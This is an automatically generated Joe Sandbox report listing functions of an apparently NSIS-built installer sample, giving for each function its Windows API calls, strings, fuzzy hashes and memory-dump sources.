API String ID:
Opcode ID: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction ID: f1da02a2f8b93330a3d469e31e6e9edf047fa596270f1f1d86c95cc791e20b04
Opcode Fuzzy Hash: 9d32937a43efcd2dea5d1fc698e3fcc0023127280f8acdc5c544d8c7d1790a46
Instruction Fuzzy Hash: AA910271E04228CBEF28CF98C8447ADBBB1FB45305F14816AD856BB291C778A986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406E3E Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction ID: fb1d02f26201205f5bfcbd3029eb7cfad7cca69a3f8c46de7b35964bdd0c3f7d
Opcode Fuzzy Hash: 67d6f810e310069c411d265ffcddf6abea8090fb20e8d2db1667143610fe5bd5
Instruction Fuzzy Hash: 18814571E04228DFDF24CFA8C844BADBBB1FB45305F24816AD856BB291C7389986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406D91 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction ID: 7645ab34ef40ba223d211dbe726f8302725d3f31b3e808d93cc70016d3e0d248
Opcode Fuzzy Hash: a445a859154d96951751bba7131c1a69e0b73c0895ac35a4e96b2d7ee743491b
Instruction Fuzzy Hash: 10711471E04228DBDF24CF98C8447ADBBB1FF49305F15806AD856BB281C7389A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406EAF Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction ID: a4e19b7408f2815589132e7e2b866ae2b9c8caa40868d81b8a4623295251dea3
Opcode Fuzzy Hash: cd7d90a79d0f10410712768d5bba8e0713d9e8f593557aa9bf16db43d4616d0f
Instruction Fuzzy Hash: 0D712571E04218DBEF28CF98C844BADBBB1FF45305F15806AD856BB281C7389986DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00406DFB Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction ID: 979076adb26e5f1e3e7a9458f232081f51f9a0722543042d1d726f4d31452a21
Opcode Fuzzy Hash: 08b8d2b65a0c1c30b5e83c7ea62cdb0658c0fab8542c410d93f606ef21acc8e7
Instruction Fuzzy Hash: 50714871E04228DBEF28CF98C8447ADBBB1FF45305F15806AD856BB281C7386A46DF45

Uniqueness

Uniqueness Score: -1.00%

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(00000000), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00004004), ref: 00401BF9

Strings

InetHelper, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: Global$AllocFree
String ID: InetHelper
API String ID: 3394109436-2767297512
Opcode ID: 176a51b4a66ca6db00c120fdfff2a52918b74a80b70c450353fe484a1e272d38
Instruction ID: 2224cfe726421d4168c30344d3cbfba70e659b3895da8488867bc6a87a7a29a6
Opcode Fuzzy Hash: 176a51b4a66ca6db00c120fdfff2a52918b74a80b70c450353fe484a1e272d38
Instruction Fuzzy Hash: 5321EB72A00200ABDB10EF95CEC49DE73A4AB543187A4403BF506F32D1DB78E891CB6D

Uniqueness

Uniqueness Score: -1.00%

Function 00405AB2 Relevance: 4.5, APIs: 3, Instructions: 28fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00405EB9: GetFileAttributesW.KERNELBASE(?,?,00405ABE,?,?,00000000,00405C94,?,?,?,?), ref: 00405EBE
Part of subcall function 00405EB9: SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405ED2

RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405C94), ref: 00405ACD
DeleteFileW.KERNELBASE(?,?,?,00000000,00405C94), ref: 00405AD5
SetFileAttributesW.KERNELBASE(?,00000000), ref: 00405AED

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: ee26814d0e89ccba1e58ecbc8b5a308cd0754c8ce938ef3c5221310ac7d33209
Instruction ID: 2750ea62591d09886f88fd119c0b0bc2019991ac89723f17ff6745a253c15028
Opcode Fuzzy Hash: ee26814d0e89ccba1e58ecbc8b5a308cd0754c8ce938ef3c5221310ac7d33209
Instruction Fuzzy Hash: 6CE0E531305A9056C7106B759A48B5B3AD8EF8E324F060B3BF592F11C0CBB845068FBD

Uniqueness

Uniqueness Score: -1.00%

Function 00406873 Relevance: 4.5, APIs: 3, Instructions: 27synchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406899
GetExitCodeProcess.KERNELBASE(?,?), ref: 004068A6

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: ObjectSingleWait$CodeExitProcess
String ID:
API String ID: 2567322000-0
Opcode ID: 058b86cb8c5b11f12917a2041960eef3384f514dab9b8efc3c465a5e278299d9
Instruction ID: 54c41dae5f15cf301fa098fb72fed04142b8325bbdcb3ac6ef2f4a5ab910b3b4
Opcode Fuzzy Hash: 058b86cb8c5b11f12917a2041960eef3384f514dab9b8efc3c465a5e278299d9
Instruction Fuzzy Hash: 55E09232600118BBDB00AF44DD02E9E7B6ADB44754F158037BA05B61A1D6B19E21EAA4

Uniqueness

Uniqueness Score: -1.00%

Function 00401E7D Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 00405A14: ShellExecuteExW.SHELL32(?), ref: 00405A23

Part of subcall function 00406873: WaitForSingleObject.KERNEL32(?,00000064), ref: 00406884
Part of subcall function 00406873: GetExitCodeProcess.KERNELBASE(?,?), ref: 004068A6

FindCloseChangeNotification.KERNELBASE(?,?,?,?,?,?), ref: 00401F4D

Strings

@, xrefs: 00401EEF

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: ChangeCloseCodeExecuteExitFindNotificationObjectProcessShellSingleWait
String ID: @
API String ID: 4215836453-2766056989
Opcode ID: 574abbdadf194fab47be470e7fbaa0850e4f7391dff1c4efc7d36e0ba334349f
Instruction ID: e7e9fe02224fa80e8acc3d91e69a95aa357927643f4877ada07b0f7c2baa17a7
Opcode Fuzzy Hash: 574abbdadf194fab47be470e7fbaa0850e4f7391dff1c4efc7d36e0ba334349f
Instruction Fuzzy Hash: 01112B75E142049BDB10EFB9DA89A8DBBB0AB48304F24453AE555F72D2DBB888419F18

Uniqueness

Uniqueness Score: -1.00%

Function 00405F61 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,004266D0,timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this,0040345A,0040A230,0040A230,0040335E,004266D0,00004000,?,00000000,00403208), ref: 00405F75

Strings

timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00405F61

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: FileRead
String ID: timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 2738559852-1897978588
Opcode ID: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction ID: 5f0138a6a2c6563494c064dd15accf188ef387db15323854b273470b931b092f
Opcode Fuzzy Hash: 7739e01b11ed9e02f3c754170f73e593db9a2046c62570b976e55369a775b70d
Instruction Fuzzy Hash: 7AE0EC3221025AAFDF109E959D04EFB7B6CEB05360F044836FD15E6150D675E8619BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00405F90 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(0040A230,00000000,00000000,00000000,00000000,00423D35,timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this,004033DE,timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this,00423D35,004266D0,00004000,?,00000000,00403208,00000004), ref: 00405FA4

Strings

timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this, xrefs: 00405F90

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: FileWrite
String ID: timings}get isFromCache(){return this[Re]}pipe(m,f){if(this[At])throw new Error("Failed to pipe. The response has been emitted already.");return m instanceof a.ServerResponse&&this[fe].add(m),super.pipe(m,f)}unpipe(m){return m instanceof a.ServerResponse&&this
API String ID: 3934441357-1897978588
Opcode ID: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction ID: 11bffb161eade2b6c2cb4bf4b25223a29cd6195b7324502744f40ed25e3c63a9
Opcode Fuzzy Hash: 02dc4867d73beddbae7b6aa94ca18310df5187db1130d79069d379e72bcbc858
Instruction Fuzzy Hash: 20E08C3220125BEBEF119E518C00AEBBB6CFB003A0F004432FD11E3180D234E9208BA8

Uniqueness

Uniqueness Score: -1.00%

Function 004015C1 Relevance: 3.1, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405D68: CharNextW.USER32(?,?,0045A730,?,00405DDC,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 0040591F: CreateDirectoryW.KERNEL32(?,?,00000000), ref: 00405962

SetCurrentDirectoryW.KERNELBASE(?,004C9000,?,00000000,000000F0), ref: 0040164D

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID:
API String ID: 1892508949-0
Opcode ID: 080c4fbc0bac1be490202287ae91035c68ce5d17b61444efa9045488ae083b02
Instruction ID: 7d59cd0ba42eeb9d64297a1bfc0940e3ae1e5cc226c4bbb5031ea1960038836b
Opcode Fuzzy Hash: 080c4fbc0bac1be490202287ae91035c68ce5d17b61444efa9045488ae083b02
Instruction Fuzzy Hash: 8811D031904510EBCF30AFA5CD4599E36A0EF15329B28493BFA45B22F1DB3E8D819A5D

Uniqueness

Uniqueness Score: -1.00%

Function 00405DC5 Relevance: 3.0, APIs: 2, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00002000,00403576,00468240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,0045A730,?,00405DDC,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(0045A730,00000000,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNELBASE(0045A730,0045A730,0045A730,0045A730,0045A730,0045A730,00000000,0045A730,0045A730,004D5000,?,74DF2EE0,00405B1A,?,004D5000,74DF2EE0), ref: 00405E2E

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID:
API String ID: 3248276644-0
Opcode ID: c50f70bfe3bb78425b78202ba545a0a687f676b53d1ab77a34f5d173cef1449b
Instruction ID: 388cf340d0c034ef08ff27084220079457182ac4682ba574f5a4b5e3d5e6accd
Opcode Fuzzy Hash: c50f70bfe3bb78425b78202ba545a0a687f676b53d1ab77a34f5d173cef1449b
Instruction Fuzzy Hash: DFF0F43A005E1116D62233364D09BEF0948CE82314B1A853BFC91B22D2DB3C8A539DFE

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013E4
SendMessageW.USER32(00000402,00000402,00000000), ref: 004013F4

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 8c309843f6b2f335838841955cb70ff663a93de2c7e640db2f5b87053db46705
Instruction ID: b0acf179c18152fd5568b60ba426e70b62ff0895eecaeb6bac654bfa50895d4e
Opcode Fuzzy Hash: 8c309843f6b2f335838841955cb70ff663a93de2c7e640db2f5b87053db46705
Instruction Fuzzy Hash: AD012832620210DFE7195B789D18B2A3798E710718F10467FF955F62F1EA78CC429B4D

Uniqueness

Uniqueness Score: -1.00%

Function 004067C2 Relevance: 3.0, APIs: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,00000020,?,00403517,0000000A), ref: 004067D4
GetProcAddress.KERNEL32(00000000,?), ref: 004067EF

Part of subcall function 00406752: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 00406769
Part of subcall function 00406752: wsprintfW.USER32 ref: 004067A4
Part of subcall function 00406752: LoadLibraryExW.KERNELBASE(?,00000000,00000008), ref: 004067B8

Memory Dump Source

Source File: 00000014.00000002.2227339617.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000014.00000002.2227312874.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227365379.0000000000408000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000040E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.0000000000412000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000041E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227402738.000000000045F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000014.00000002.2227684992.00000000004F1000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_20_2_400000_wnsCCC1.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID:
API String ID: 2547128583-0
Opcode ID: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction ID: 7b80e99db610fb1a261844a57c40f0e669857592e3492eb3b2a0c0f7ce0b312d
Opcode Fuzzy Hash: 32c59c0b14b548542ecf76b068d43d3c76fab82d66a171b1af570515759e8b4d
Instruction Fuzzy Hash: 14E086325042115BD21057745E48D3762AC9AC4704307843EF556F3041DB78DC35B66E

Uniqueness

Uniqueness Score: -1.00%

